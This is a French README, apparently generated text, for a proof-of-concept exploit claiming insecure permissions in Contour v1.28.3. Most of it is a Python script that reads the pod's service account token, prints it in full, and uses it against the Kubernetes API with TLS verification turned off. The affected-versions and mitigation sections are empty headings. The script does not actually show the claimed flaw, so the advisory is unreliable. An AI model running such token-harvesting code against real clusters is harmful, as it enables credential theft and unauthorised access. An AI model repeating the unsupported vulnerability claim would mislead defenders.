
Preuve de concept d'exploit démontrant des permissions non sécurisées dans Contour v1.28.3, permettant le vol de jetons de compte de service et l'accès à l'API Kubernetes pour une escalade de privilèges.
Voici un README.md pour une preuve de concept (PoC) démontrant la vulnérabilité de permissions non sécurisées dans Contour v1.28.3 :
Ce dépôt contient un script de preuve de concept (PoC) démontrant une vulnérabilité de permissions non sécurisées dans Contour v1.28.3. Cette vulnérabilité permet aux attaquants d'accéder à des données sensibles et d'élever leurs privilèges en obtenant le jeton du compte de service.
CVE-ID: (Pending)
Aperçu : Contour v1.28.3 contient des permissions non sécurisées qui permettent aux attaquants d'accéder au jeton du compte de service. En exploitant cette vulnérabilité, un attaquant peut obtenir le jeton du compte de service, qui peut être utilisé pour accéder à des données sensibles et potentiellement élever ses privilèges au sein du cluster Kubernetes.
Versions affectées :
Mesures d'atténuation :
Ce script PoC montre comment accéder au jeton du compte de service dans Contour v1.28.3. Assurez-vous d'avoir une autorisation explicite pour effectuer ce test.
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
Pour remédier à cette vulnérabilité :
Pour plus d'informations sur la sécurisation de votre déploiement Contour, consultez la documentation officielle de Contour.
Ce README.md fournit un aperçu de la vulnérabilité, un script PoC pour démontrer le problème et des instructions sur la manière d'atténuer le risque. Assurez-vous de manipuler ce PoC de manière responsable et uniquement sur des systèmes où vous avez une autorisation explicite.